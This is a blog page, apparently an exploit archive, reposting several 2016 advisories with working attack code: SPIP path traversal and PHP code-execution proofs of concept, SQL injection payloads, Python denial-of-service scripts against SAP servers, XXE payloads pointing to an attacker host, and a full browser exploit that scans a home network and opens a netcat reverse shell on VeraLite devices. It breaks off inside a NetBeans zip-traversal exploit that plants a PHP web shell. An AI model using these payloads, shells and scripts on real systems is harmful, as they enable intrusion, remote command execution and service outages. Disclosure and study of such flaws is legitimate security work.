Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863112358

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

## SPIP 3.1.1/3.1.2 File Enumeration / Path Traversal (CVE-2016-7982)

### Product Description

SPIP is a publishing system for the Internet, which put importance on collaborative working, multilingual environments and ease of use. It is free software, distributed under the GNU/GPL licence.

### Vulnerability Description

The `valider_xml` file can be used to enumerate files on the system.

**Access Vector**: remote

**Security Risk**: medium

**Vulnerability**: CWE-538

**CVSS Base Score**: 4.9 (Medium)

**CVE-ID**: CVE-2016-7982

### Proof of Concept

Enumerating `.ini` files inside `/etc` (SPIP 3.1.1) :

    http://spip-dev.srv/ecrire/?exec=valider_xml&var_url=/etc&ext=ini&recur=2

Bypassing SPIP 3.1.2 protection using PHP Wrappers :

    http://spip-dev.srv/ecrire/?exec=valider_xml&var_url=file:///etc&ext=ini&recur=2

### Vulnerable code

    if (is_dir($url)) {
        $dir = (substr($url, -1, 1) === '/') ? $url : "$url/";
        $ext = !preg_match('/^[.*\w]+$/', $req_ext) ? 'php' : $req_ext;
        $files = preg_files($dir, "$ext$", $limit, $rec);
        if (!$files and $ext !== 'html') {
          $files = preg_files($dir, 'html$', $limit, $rec);
          if ($files) {
            $ext = 'html';
          }
        }
        if ($files) {
          $res = valider_dir($files, $ext, $url);
          list($err, $res) = valider_resultats($res, $ext === 'html');

File names are stored in `$res` and displayed by `echo` on line 146 :

    echo "<h1>", $titre, '<br>', $bandeau, '</h1>',
    "<div style='text-align: center'>", $onfocus, "</div>",
      $res,
      fin_page();



### Timeline (dd/mm/yyyy)

* 15/09/2016 : Initial discovery
* 26/09/2016 : Contact with SPIP Team
* 27/09/2016 : Answer from SPIP Team, sent advisory details
* 27/09/2016 : Incorrect fixes for Path Traversal
* 27/09/2016 : New proof of concept for bypassing Path Traversal sent.
* 27/09/2016 : Bad fix for Path Traversal (23185)
* 28/09/2016 : New proof of concept for bypassing fixes for Path Traversal on Windows systems.
* 28/09/2016 : Fixes issued Path Traversal (23200)
* 30/09/2016 : SPIP 3.1.3 Released

### Fixes

* https://core.spip.net/projects/spip/repository/revisions/23207
* https://core.spip.net/projects/spip/repository/revisions/23208
* https://core.spip.net/projects/spip/repository/revisions/23206
* https://core.spip.net/projects/spip/repository/revisions/23202
* https://core.spip.net/projects/spip/repository/revisions/23201
* https://core.spip.net/projects/spip/repository/revisions/23200
* https://core.spip.net/projects/spip/repository/revisions/23191
* https://core.spip.net/projects/spip/repository/revisions/23190
* https://core.spip.net/projects/spip/repository/revisions/23193
* https://core.spip.net/projects/spip/repository/revisions/23188
* https://core.spip.net/projects/spip/repository/revisions/23187
* https://core.spip.net/projects/spip/repository/revisions/23185
* https://core.spip.net/projects/spip/repository/revisions/23182
* https://core.spip.net/projects/spip/repository/revisions/23184


### Affected versions

* Version <= 3.1.2

### Credits

* Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com)


-- SYSDREAM Labs <labs@sysdream.com> GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1 * Website: https://sysdream.com/ * Twitter: @sysdream 
            
## SPIP 3.1.2 Template Compiler/Composer PHP Code Execution (CVE-2016-7998)

### Product Description

SPIP is a publishing system for the Internet, which put importance on collaborative working, multilingual environments and ease of use. It is free software, distributed under the GNU/GPL licence.

### Vulnerability Description

The SPIP template composer/compiler does not correctly handle SPIP "INCLUDE/INCLURE" Tags, allowing PHP code execution by an authenticated user.
This vulnerability can be exploited using the CSRF or the XSS vulnerability also found in this advisory.

**Access Vector**: remote

**Security Risk**: critical

**Vulnerability**: CWE-94

**CVSS Base Score**: 9.1 (Critical)

**CVE-ID**: CVE-2016-7998

### Proof of Concept

Store a `.html` file in a random directory with the following content :

    <INCLURE(xxx"\)\);}system\("touch /tmp/exploited"\);/*)>

Then you can access to the following URL, with the `var_url` paramater pointing to the path corresponding to your uploaded file:

    http://spip-dev.srv/ecrire/?exec=valider_xml&var_url=file:///tmp/directory&ext=html

The PHP code `system("touch /tmp/exploited");` will be executed after 2 requests.

This happens because the template file is included (if already compiled) by `ecrire/public/composer.php`, line 60 :

    if (!squelette_obsolete($phpfile, $source)) {
      include_once $phpfile;

and because we can "exit" the function generated by the template compiler (improper sanitization when generating argumenter_squelette):

    function html_xxxx($Cache, $Pile, $doublons = array(), $Numrows = array(), $SP = 0) {
      if (isset($Pile[0]["doublons"]) AND is_array($Pile[0]["doublons"]))
        $doublons = nettoyer_env_doublons($Pile[0]["doublons"]);
      $connect = '';
      $page = (
    '<'.'?php echo recuperer_fond( ' . argumenter_squelette("xxx"));}system("touch /tmp/exploited");/*") . ', array(\'lang\' => ' . argumenter_squelette($GLOBALS["spip_lang"]) . '), array("compil"=>array(\'/tmp/exploit.html\',\'html_xxxx\',\'\',1,$GLOBALS[\'spip_lang\'])), _request("connect"));
    ?'.'>
    ');
      return analyse_resultat_skel('html_xxxx', $Cache, $page, '/tmp/exploit.html');
    }

Therefore, the vulnerability leads to arbitrary PHP code execution.


### Vulnerable code

The vulnerable code is located in the `argumenter_inclure` function (`ecrire/public/compiler.php`), line 123.

    if ($var !== 1) {
      $val = ($echap ? "\'$var\' => ' . argumenter_squelette(" : "'$var' => ")
        . $val . ($echap ? ") . '" : " ");
    }

### Timeline (dd/mm/yyyy)

* 15/09/2016 : Initial discovery
* 26/09/2016 : Contact with SPIP Team
* 27/09/2016 : Answer from SPIP Team, sent advisory details
* 27/09/2016 : Fixes issued for PHP Code Execution
* 30/09/2016 : SPIP 3.1.3 Released

### Fixes

* https://core.spip.net/projects/spip/repository/revisions/23186
* https://core.spip.net/projects/spip/repository/revisions/23189
* https://core.spip.net/projects/spip/repository/revisions/23192

### Affected versions

* Version <= 3.1.2

### Credits

* Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com)


-- SYSDREAM Labs <labs@sysdream.com> GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1 * Website: https://sysdream.com/ * Twitter: @sysdream 
            
=====================================================
# Event Calendar PHP 1.5 - SQL Injection
=====================================================
# Vendor Homepage: http://eventcalendarphp.com/
# Date: 21 Oct 2016
# Version : 1.5
# Platform : WebApp - PHP
# Author: Ashiyane Digital Security Team
# Contact: hehsan979@gmail.com
=====================================================
# PoC:
Vulnerable Url:
http://localhost/eventcalendar/admin.php?act=options&cal_id=[payload]
http://localhost/eventcalendar/admin.php?act=cal_options&cal_id=[payload]
http://localhost/eventcalendar/admin.php?act=cal_language&cal_id=[payload]
Vulnerable parameter : cal_id
Mehod : GET

A simple inject :
Payload : '+order+by+20--+
http://localhost/eventcalendar/admin.php?act=options&cal_id=1'+order+by+20--+

In response can see result :
query error: SELECT * FROM pa_ecal_calendars WHERE cal_id='1' order by
20-- '. Error: Unknown column '20' in 'order clause'

Result of payload: Error: Unknown column '20' in 'order clause'
=====================================================
# Discovered By : Ehsan Hosseini
=====================================================
            
'''
Application:   SAP Adaptive Server Enterprise

Versions Affected: SAP Adaptive Server Enterprise  16

Vendor URL: http://SAP.com

Bugs: Denial of Service

Sent:   01.02.2016

Reported: 02.02.2016

Vendor response: 02.02.2016

Date of Public Advisory: 12.07.2016

Reference: SAP Security Note  2330839

Author:  Vahagn Vardanyan(ERPScan)



Description



1. ADVISORY INFORMATION

Title: [ERPSCAN-16-028] SAP Adaptive Server Enterprise – DoS vulnerability

Advisory ID: [ERPSCAN-16-028]

Risk: high

Advisory URL: https://erpscan.com/advisories/erpscan-16-028-sap-adaptive-server-enterprise-null-pointer-exception/

Date published: 12.17.2016

Vendors contacted: SAP


2. VULNERABILITY INFORMATION

Class: Denial of Service

Impact: DoS

Remotely Exploitable: yes

Locally Exploitable: yes


CVSS Information

CVSS Base Score v3:  7.5  / 10

CVSS Base Vector:

AV : Attack Vector (Related exploit range) Network (N)

AC : Attack Complexity (Required attack complexity) Low (L)

PR : Privileges Required (Level of privileges needed to exploit) None (N)

UI : User Interaction (Required user participation) None (N)

S : Scope (Change in scope due to impact caused to components beyond
the vulnerable component) Unchanged (U)

C : Impact to Confidentiality None (N)

I : Impact to Integrity None (N)

A : Impact to Availability High (H)


3. VULNERABILITY DESCRIPTION

Anonymous attacker can send a special request to the SAP Adaptive
Server Enterprise and crash the server.


4. VULNERABLE PACKAGES

SAP Open Server 16.0 SP01, SP02

SAP ASE 16.0 SP01, SP02

SAP Replication Server SP207, SP209, SP210, SP3XX


5. SOLUTIONS AND WORKAROUNDS

To correct this vulnerability, install SAP Security Note  2330839


6. AUTHOR

Vahagn Vardanyan (ERPScan)



7. TECHNICAL DESCRIPTION

Proof of Concept

Sending special request to the SAP Adaptive Server Enterprise 16
(backup server)  can get crash the server.


PoC
'''

import socket

PoC = "\xe2\xf3\x00\x9d\x80\x8e\xf3\xa0" \
     "\x80\xb4\x00\x81\xb0\x00\x00\x93" \
     "\x00\x00\x00\x00\x00\x00\x00\x00" \
     "\x00\x00\x00\x00\x00\x00\x00\x00" \
     "\x00\x00\x00\x00\x00\x00\x00\x00" \
     "\x31\x00\x00\x00\x00\x00\x00\x00" \
     "\x00\x00\x00\x00\x00\x00\x00\x00" \
     "\x00\x00\x34\x31\x30\x35\x37\x32" \
     "\x37\x00\x00\x00\x00\x00\x00\x00" \
     "\x00\x00\x00\x00\x00\x00\x00\x00" \
     "\x00\x00\x00\x00\x00\x00\x00\x00" \
     "\x00\x00\x00\x00\x00\x00\x00\x00" \
     "\x00\x00\x00\x00\x00\x00\x00\x00" \
     "\x00\x00\x00\x00\x00\x00\x00\x00" \
     "\x00\x00\x00\x00\x00\x00\x00\x00" \
     "\x00\x00\x00\x00\x00\x00\x00\x00" \
     "\x00\x00\x00\x00\x00\x00\x00\x00" \
     "\x00\x00\x00\x00\x00\x00\x00\x00" \
     "\x00\x00\x00\x00\x00\x00\x00\x00" \
     "\x00\x00\x00\x00\x00\x00\x00\x00" \
     "\x00"

s = socket.socket()
s.settimeout(1)
s.connect((SERVER_IP, SERVER_PORT))
s.send(PoC)
print(PoC)
s.close()

'''

0:019> r
rax=0000000000000000 rbx=000000000097c000 rcx=0000000000000000
rdx=00000000010bf810 rsi=0000000000970a30 rdi=0000000000904cb0
rip=00000000004027b4 rsp=00000000010bf7f0 rbp=0000000000000000
r8=0000000000904c90  r9=0000000000904ca0 r10=0000000000000000
r11=0000000000000246 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
libsybcomn64!comn_symkey_set_iv+0x34:
00000000`004027b4 488b4820        mov     rcx,qword ptr [rax+20h]
ds:00000000`00000020=????????????????


8. REPORT TIMELINE

Sent:  01.02.2016

Reported: 02.02.2016

Vendor response: 02.02.2016

Date of Public Advisory: 12.07.2016


9. REFERENCES

https://erpscan.com/advisories/erpscan-16-028-sap-adaptive-server-enterprise-null-pointer-exception/


10. ABOUT ERPScan Research

ERPScan research team specializes in vulnerability research and
analysis of critical enterprise applications. It was acknowledged
multiple times by the largest software vendors like SAP, Oracle,
Microsoft, IBM, VMware, HP for discovering more than 400
vulnerabilities in their solutions (200 of them just in SAP!).

ERPScan researchers are proud of discovering new types of
vulnerabilities (TOP 10 Web Hacking Techniques 2012) and of the "The
Best Server-Side Bug" nomination at BlackHat 2013.

ERPScan experts participated as speakers, presenters, and trainers at
60+ prime international security conferences in 25+ countries across
the continents ( e.g. BlackHat, RSA, HITB) and conducted private
trainings for several Fortune 2000 companies.

ERPScan researchers carry out the EAS-SEC project that is focused on
enterprise application security awareness by issuing annual SAP
security researches.

ERPScan experts were interviewed in specialized info-sec resources and
featured in major media worldwide. Among them there are Reuters,
Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading, Heise,
Chinabyte, etc.

Our team consists of highly-qualified researchers, specialized in
various fields of cybersecurity (from web application to ICS/SCADA
systems), gathering their experience to conduct the best SAP security
research.

11. ABOUT ERPScan

ERPScan is the most respected and credible Business Application
Cybersecurity provider. Founded in 2010, the company operates globally
and enables large Oil and Gas, Financial, Retail and other
organizations to secure their mission-critical processes. Named as an
‘Emerging Vendor’ in Security by CRN, listed among “TOP 100 SAP
Solution providers” and distinguished by 30+ other awards, ERPScan is
the leading SAP SE partner in discovering and resolving security
vulnerabilities. ERPScan consultants work with SAP SE in Walldorf to
assist in improving the security of their latest solutions.

ERPScan’s primary mission is to close the gap between technical and
business security, and provide solutions for CISO's to evaluate and
secure SAP and Oracle ERP systems and business-critical applications
from both cyberattacks and internal fraud. As a rule, our clients are
large enterprises, Fortune 2000 companies and MSPs, whose requirements
are to actively monitor and manage security of vast SAP and Oracle
landscapes on a global scale.

We ‘follow the sun’ and have two hubs, located in Palo Alto and
Amsterdam, to provide threat intelligence services, continuous support
and to operate local offices and partner network spanning 20+
countries around the globe.



Adress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301

Phone: 650.798.5255

Twitter: @erpscan

Scoop-it: Business Application Security
'''
            
'''
Application:  SAP NetWeaver KERNEL

Versions Affected: SAP NetWeaver KERNEL 7.0-7.5

Vendor URL: http://SAP.com

Bugs: Denial of Service

Sent:   09.03.2016

Reported: 10.03.2016

Vendor response: 10.03.2016

Date of Public Advisory: 12.07.2016

Reference: SAP Security Note  2295238

Author: Dmitry Yudin (ERPScan)



Description


1. ADVISORY INFORMATION

Title: [ERPSCAN-16-030] SAP NetWeaver  – buffer overflow vulnerability

Advisory ID: [ERPSCAN-16-030]

Risk: high

Advisory URL: https://erpscan.com/advisories/erpscan-16-030-sap-netweaver-sapstartsrv-stack-based-buffer-overflow/

Date published: 12.10.2016

Vendors contacted: SAP


2. VULNERABILITY INFORMATION

Class: Denial of Service

Impact: DoS

Remotely Exploitable: yes

Locally Exploitable: yes



CVSS Information

CVSS Base Score v3:  6.5  / 10

CVSS Base Vector:

AV : Attack Vector (Related exploit range) Network (N)

AC : Attack Complexity (Required attack complexity) Low (L)

PR : Privileges Required (Level of privileges needed to exploit) None (N)

UI : User Interaction (Required user participation) None (N)

S : Scope (Change in scope due to impact caused to components beyond
the vulnerable component) Unchanged (U)

C : Impact to Confidentiality None (N)

I : Impact to Integrity Low (L)

A : Impact to Availability Low (L)



3. VULNERABILITY DESCRIPTION

This vulnerability allows an attacker to send a special request to the
SAPSTARTSRV process port and conduct stack buffer overflow (recursion)
on the SAP server.


4. VULNERABLE PACKAGES

SAP KERNEL 7.21 32-BIT 625

SAP KERNEL 7.21 32-BIT UNICODE 625

SAP KERNEL 7.21 64-BIT 625

SAP KERNEL 7.21 64-BIT UNICODE 625

SAP KERNEL 7.21 EXT 32-BIT 625

SAP KERNEL 7.21 EXT 32-BIT UC 625

SAP KERNEL 7.21 EXT 64-BIT 625

SAP KERNEL 7.21 EXT 64-BIT UC 625

SAP KERNEL 7.22 64-BIT 113

SAP KERNEL 7.22 64-BIT UNICODE 113

SAP KERNEL 7.22 EXT 64-BIT 113

SAP KERNEL 7.22 EXT 64-BIT UC 113

SAP KERNEL 7.42 64-BIT 412

SAP KERNEL 7.42 64-BIT UNICODE 412

SAP KERNEL 7.45 64-BIT 113

SAP KERNEL 7.45 64-BIT UNICODE 113


5. SOLUTIONS AND WORKAROUNDS

To correct this vulnerability, install SAP Security Note  2295238


6. AUTHOR

Dmitry Yudin (ERPScan)


7. TECHNICAL DESCRIPTION

7.1. Proof of Concept
'''

import socket
PoC = """<?xml version="1.0" encoding="utf-8"?>

<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xs="http://www.w3.org/2001/XMLSchema">
   <SOAP-ENV:Header>
       <sapsess:Session
xlmns:sapsess="http://www.sap.com/webas/630/soap/features/session/">
> """ + "<a>" * 100000 + "</a>" * 100000 + """        </sapsess:Session>
   </SOAP-ENV:Header>
   <SOAP-ENV:Body>
       <ns1:WW xmlns:ns1="urn:SAPControl">
           <b></b>
           <e><e>
       </ns1:WW>
   </SOAP-ENV:Body>
</SOAP-ENV:Envelope>"""

for i in range(1,5):
   sock = socket.socket()
   sock.connect(("SAP_IP", SAP_PORT))
   sock.send(PoC)

'''
Windbg exceptions

sapstartsrv!soap_getutf8+0xa:
00000001`4009cd2a e891f9ffff      call    sapstartsrv!soap_get
(00000001`4009c6c0)

rax=0000000000000000 rbx=000000000bcdcfb0 rcx=000000000bcdcfb0
rdx=0000000000000061 rsi=0000000000000000 rdi=000000000bcdcfb0
rip=000000014009cd2a rsp=0000000002b93ff0 rbp=000000000bcdcfb0
r8=0000000134936c69  r9=0000000000000000 r10=0000000000000000
r11=000000014061ee28 r12=0000000000000000 r13=000000000000270f
r14=00000001409f8ba0 r15=0000000000000000
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206



8. REPORT TIMELINE

Sent:  09.03.2016

Reported: 10.03.2016

Vendor response: 10.03.2016

Date of Public Advisory: 12.07.2016



9. REFERENCES

https://erpscan.com/advisories/erpscan-16-030-sap-netweaver-sapstartsrv-stack-based-buffer-overflow/



10. ABOUT ERPScan Research

ERPScan research team specializes in vulnerability research and
analysis of critical enterprise applications. It was acknowledged
multiple times by the largest software vendors like SAP, Oracle,
Microsoft, IBM, VMware, HP for discovering more than 400
vulnerabilities in their solutions (200 of them just in SAP!).

ERPScan researchers are proud of discovering new types of
vulnerabilities (TOP 10 Web Hacking Techniques 2012) and of the "The
Best Server-Side Bug" nomination at BlackHat 2013.

ERPScan experts participated as speakers, presenters, and trainers at
60+ prime international security conferences in 25+ countries across
the continents ( e.g. BlackHat, RSA, HITB) and conducted private
trainings for several Fortune 2000 companies.

ERPScan researchers carry out the EAS-SEC project that is focused on
enterprise application security awareness by issuing annual SAP
security researches.

ERPScan experts were interviewed in specialized info-sec resources and
featured in major media worldwide. Among them there are Reuters,
Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading, Heise,
Chinabyte, etc.

Our team consists of highly-qualified researchers, specialized in
various fields of cybersecurity (from web application to ICS/SCADA
systems), gathering their experience to conduct the best SAP security
research.

11. ABOUT ERPScan

ERPScan is the most respected and credible Business Application
Cybersecurity provider. Founded in 2010, the company operates globally
and enables large Oil and Gas, Financial, Retail and other
organizations to secure their mission-critical processes. Named as an
‘Emerging Vendor’ in Security by CRN, listed among “TOP 100 SAP
Solution providers” and distinguished by 30+ other awards, ERPScan is
the leading SAP SE partner in discovering and resolving security
vulnerabilities. ERPScan consultants work with SAP SE in Walldorf to
assist in improving the security of their latest solutions.

ERPScan’s primary mission is to close the gap between technical and
business security, and provide solutions for CISO's to evaluate and
secure SAP and Oracle ERP systems and business-critical applications
from both cyberattacks and internal fraud. As a rule, our clients are
large enterprises, Fortune 2000 companies and MSPs, whose requirements
are to actively monitor and manage security of vast SAP and Oracle
landscapes on a global scale.

We ‘follow the sun’ and have two hubs, located in Palo Alto and
Amsterdam, to provide threat intelligence services, continuous support
and to operate local offices and partner network spanning 20+
countries around the globe.


Adress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301

Phone: 650.798.5255

Twitter: @erpscan

Scoop-it: Business Application Security
'''
            
# Exploit Title: Oracle BI Publisher (formerly XML Publisher) - XML External Entity Injection w/o authentication
# Date: 20\10\2016
# Exploit Author: Jakub Palaczynski
# CVE : CVE-2016-3473
# Vendor Homepage: https://www.oracle.com/
# Version: 11.1.1.6.0, 11.1.1.7.0, 11.1.1.9.0, 12.2.1.0.0
# Info: Previous versions may also be vulnerable.
# Google Dork: inurl:xmlpserver or intitle:"Oracle BI Publisher Enterprise Login"

1. Vulnerable SOAP Action: replyToXML

POST /xmlpserver/services/ServiceGateway HTTP/1.1
Content-Type: text/xml;charset=UTF-8
SOAPAction: #replyToXML
Host: vulnerablehost
Content-Length: 630

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://xmlns.oracle.com/oxp/service/service_gateway">
   <soapenv:Header/>
   <soapenv:Body>
      <ser:replyToXML soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <incomingXML xsi:type="xsd:string"><![CDATA[<?xml version="1.0" encoding="utf-8"?><!DOCTYPE m [ <!ENTITY % remote SYSTEM "http://attacker/file.xml">%remote;]>]]></incomingXML>
      </ser:replyToXML>
   </soapenv:Body>
</soapenv:Envelope>

------------------------------------------------

2. Vulnerable SOAP Action: replyToXMLWithContext

POST /xmlpserver/services/ServiceGateway HTTP/1.1

Content-Type: text/xml;charset=UTF-8

SOAPAction: #replyToXMLWithContext

Host: vulnerablehost

Content-Length: 646



<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://xmlns.oracle.com/oxp/service/service_gateway">

   <soapenv:Header/>

   <soapenv:Body>

      <ser:replyToXMLWithContext soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">

         <incomingXML xsi:type="xsd:string"><![CDATA[<?xml version="1.0" encoding="utf-8"?><!DOCTYPE m [ <!ENTITY % remote SYSTEM "http://attacker/file.xml">%remote;]>]]></incomingXML>

      </ser:replyToXMLWithContext>

   </soapenv:Body>

</soapenv:Envelope>
            
# Exploit Title: SQL Injection in Classifieds Rental Script
# Date: 19 October 2016
# Exploit Author: Arbin Godar
# Website : ArbinGodar.com
# Vendor: www.i-netsolution.com

*----------------------------------------------------------------------------------------------------------------------*

# Proof of Concept SQL Injection/Exploit : 
http://localhost/[PATH]/viewproducts.php?catid=PoC%27

# Exploit (using Sqlmap)
---
Parameter: catid (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: catid=-1285' OR 8060=8060#

    Type: error-based
    Title: MySQL OR error-based - WHERE or HAVING clause
    Payload: catid=-9700' OR 1 GROUP BY CONCAT(0x717a627071,(SELECT (CASE WHEN (7055=7055) THEN 1 ELSE 0 END)),0x716a767871,FLOOR(RAND(0)*2)) HAVING MIN(0)#

    Type: UNION query
    Title: MySQL UNION query (random number) - 1 column
    Payload: catid=-4664' UNION ALL SELECT CONCAT(0x717a627071,0x444c6a6547574179515a64414752636446697064764a5a64745042625072666b5954674a58484577,0x716a767871)#
---
            
# Exploit Title: MiCasa VeraLite Remote Code Execution
# Date: 10-20-2016
# Software Link: http://getvera.com/controllers/veralite/
# Exploit Author: Jacob Baines
# Contact: https://twitter.com/Junior_Baines
# CVE: CVE-2013-4863 & CVE-2016-6255
# Platform: Hardware

1. Description

A remote attacker can execute code on the MiCasa VeraLite if someone on the same LAN as the VeraLite visits a crafted webpage.

2. Proof of Concept

<!--
    @about
    This file, when loaded in a browser, will attempt to get a reverse shell
    on a VeraLite device on the client's network. This is achieved with the
    following steps:

    1. Acquire the client's internal IP address using webrtc. We then assume the
       client is operating on a \24 network.
    2. POST :49451/z3n.html to every address on the subnet. This leverages two
       things we know to be true about VeraLite:
           - there should be a UPnP HTTP server on 49451
           - VeraLite uses a libupnp vulnerable to CVE-2016-6255.
    3. Attempt to load :49451/z3n.html in an iframe. This will exist if step 2
       successfully created the file via CVE-2016-6255
    4. z3n.html will allow us to bypass same origin policy and it will make a
       POST request that executes RunLau. This also leverages information we
       know to be true about Veralite:
           - the control URL for HomeAutomationGateway is /upnp/control/hag
           - no auth required
    5. Our RunLua code executes a reverse shell to 192.168.217:1270.

    @note
    This code doesn't run fast in Firefox. This appears to largely be a performance
    issue associated with attaching a lot of iframes to a page. Give the shell
    popping a couple of minutes. In Chrome, it runs pretty fast but might
    exhaust socket usage.

    @citations
    - WebRTC IP leak: https://github.com/diafygi/webrtc-ips
    - Orignal RunLua Disclosure: https://media.blackhat.com/us-13/US-13-Crowley-Home-Invasion-2-0-WP.pdf
    - CVE-2016-6255: http://seclists.org/oss-sec/2016/q3/102
-->
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <script>
            /**
             * POSTS a page to ip:49451/z3n.html. If the target is a vulnerable
             * libupnp then the page will be written. Once the request has
             * completed, we attempt to load it in an iframe in order to bypass
             * same origin policy. If the page is loaded into the iframe then
             * it will make a soap action request with the action RunLua. The 
             * Lua code will execute a reverse shell.
             * @param ip the ip address to request to
             * @param frame_id the id of the iframe to create
             */
            function create_page(ip, frame_id)
            {
                payload = "<!DOCTYPE html>\n" +
                          "<html>\n" +
                            "<head>\n" +
                                "<title>Try To See It Once My Way</title>\n" +
                                "<script>\n" +
                                    "function exec_lua() {\n" +
                                        "soap_request = \"<s:Envelope s:encodingStyle=\\\"http://schemas.xmlsoap.org/soap/encoding/\\\" xmlns:s=\\\"http://schemas.xmlsoap.org/soap/envelope/\\\">\";\n" +
                                        "soap_request += \"<s:Body>\";\n" +
                                        "soap_request += \"<u:RunLua xmlns:u=\\\"urn:schemas-micasaverde-org:service:HomeAutomationGateway:1\\\">\";\n" +
                                        "soap_request += \"<Code>os.execute("/bin/sh -c &apos;(mkfifo /tmp/a; cat /tmp/a | /bin/sh -i 2>&1 | nc 192.168.1.217 1270 > /tmp/a)&&apos;")</Code>\";\n" +
                                        "soap_request += \"</u:RunLua>\";\n" +
                                        "soap_request += \"</s:Body>\";\n" +
                                        "soap_request += \"</s:Envelope>\";\n" +

                                        "xhttp = new XMLHttpRequest();\n" +
                                        "xhttp.open(\"POST\", \"upnp/control/hag\", true);\n" +
                                        "xhttp.setRequestHeader(\"MIME-Version\", \"1.0\");\n" +
                                        "xhttp.setRequestHeader(\"Content-type\", \"text/xml;charset=\\\"utf-8\\\"\");\n" +
                                        "xhttp.setRequestHeader(\"Soapaction\", \"\\\"urn:schemas-micasaverde-org:service:HomeAutomationGateway:1#RunLua\\\"\");\n" +
                                        "xhttp.send(soap_request);\n" +
                                    "}\n" +
                                "</scr\ipt>\n" +
                            "</head>\n" +
                            "<body onload=\"exec_lua()\">\n" +
                            "Zen?\n" +
                            "</body>\n" +
                          "</html>";

                var xhttp = new XMLHttpRequest();
                xhttp.open("POST", "http://" + ip  + ":49451/z3n.html", true);
                xhttp.timeout = 1000;
                xhttp.onreadystatechange = function()
                {
                    if (xhttp.readyState == XMLHttpRequest.DONE)
                    {
                        new_iframe = document.createElement('iframe');
                        new_iframe.setAttribute("src", "http://" + ip + ":49451/z3n.html");
                        new_iframe.setAttribute("id", frame_id);
                        new_iframe.setAttribute("style", "width:0; height:0; border:0; border:none");
                        document.body.appendChild(new_iframe);
                    }
                };
                xhttp.send(payload);
            }

            /**
             * This function abuses the webrtc internal IP leak. This function
             * will find the the upper three bytes of network address and simply
             * assume that the client is on a \24 network.
             *
             * Once we have an ip range, we will attempt to create a page on a
             * vulnerable libupnp server via create_page().
             */
            function spray_and_pray()
            {
                RTCPeerConnection = window.RTCPeerConnection ||
                                    window.mozRTCPeerConnection ||
                                    window.webkitRTCPeerConnection;

                peerConn = new RTCPeerConnection({iceServers:[]});
                noop = function() { };

                peerConn.createDataChannel("");
                peerConn.createOffer(peerConn.setLocalDescription.bind(peerConn), noop);
                peerConn.onicecandidate = function(ice)
                {
                    if (!ice || !ice.candidate || !ice.candidate.candidate)
                    {
                        return;
                    }

                    clientNetwork = /([0-9]{1,3}(\.[0-9]{1,3}){2})/.exec(ice.candidate.candidate)[1];
                    peerConn.onicecandidate = noop;

                    if (clientNetwork && clientNetwork.length > 0)
                    {
                        for (i = 0; i < 255; i++)
                        {
                            create_page(clientNetwork + '.' + i, "page"+i);
                        }
                    }
                };
            }
        </script>
    </head>
    <body onload="spray_and_pray()">
    Everything zen.
    </body>
</html>

3. Solution:

No solution exists
            
[+] Credits: John Page aka hyp3rlinx	

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/ORACLE-NETBEANS-IDE-DIRECTORY-TRAVERSAL.txt

[+] ISR: ApparitionSec



Vendor:
===============
www.oracle.com



Product:
=================
Netbeans IDE v8.1



Vulnerability Type:
=========================
Import Directory Traversal  



CVE Reference:
==============
CVE-2016-5537



Vulnerability Details:
=====================

This was part of Oracle Critical Patch Update for October 2016.

Vulnerability in the NetBeans component of Oracle Fusion Middleware (subcomponent: Project Import).
The supported version that is affected is 8.1. Easily exploitable vulnerability allows high privileged attacker with logon
to the infrastructure where NetBeans executes to compromise NetBeans. While the vulnerability is in NetBeans, attacks may significantly
impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some
of NetBeans accessible data as well as unauthorized read access to a subset of NetBeans accessible data and unauthorized ability to cause
a partial denial of service (partial DOS) of NetBeans. 

Vulnerability in way Netbeans processes  ".zip" archives to be imported as project. If a user imports a malicious project 
containing "../" characters the import will fail, yet still process the "../".  we can then place malicious scripts outside of
the target directory and inside web root if user is running a local server etc...

It may be possible to then execute remote commands on the affected system by later visiting the URL and access our script if that
web server is public facing, if it is not then it may still be subject to abuse internally by internal malicious users. Moreover,
it is also possible to overwrite files on the system hosting vulnerable versions of NetBeans IDE.


References:
http://www.oracle.com/technetwork/security-advisory/cpuoct2016-2881722.html#AppendixFMW


Exploit Code(s):
=================

<?php
 #archive path traversal
 #target xampp htdocs as POC
 #by hyp3rlinx
 #===============================
 if($argc<4){echo "Usage: <zip name>, <path depth>, <RCE.php as default? Y/[file]>";exit();}
 $zipname=$argv[1];
 $exploit_file="RCE.php";
 $cmd='<?php exec($_GET["cmd"]); ?>';
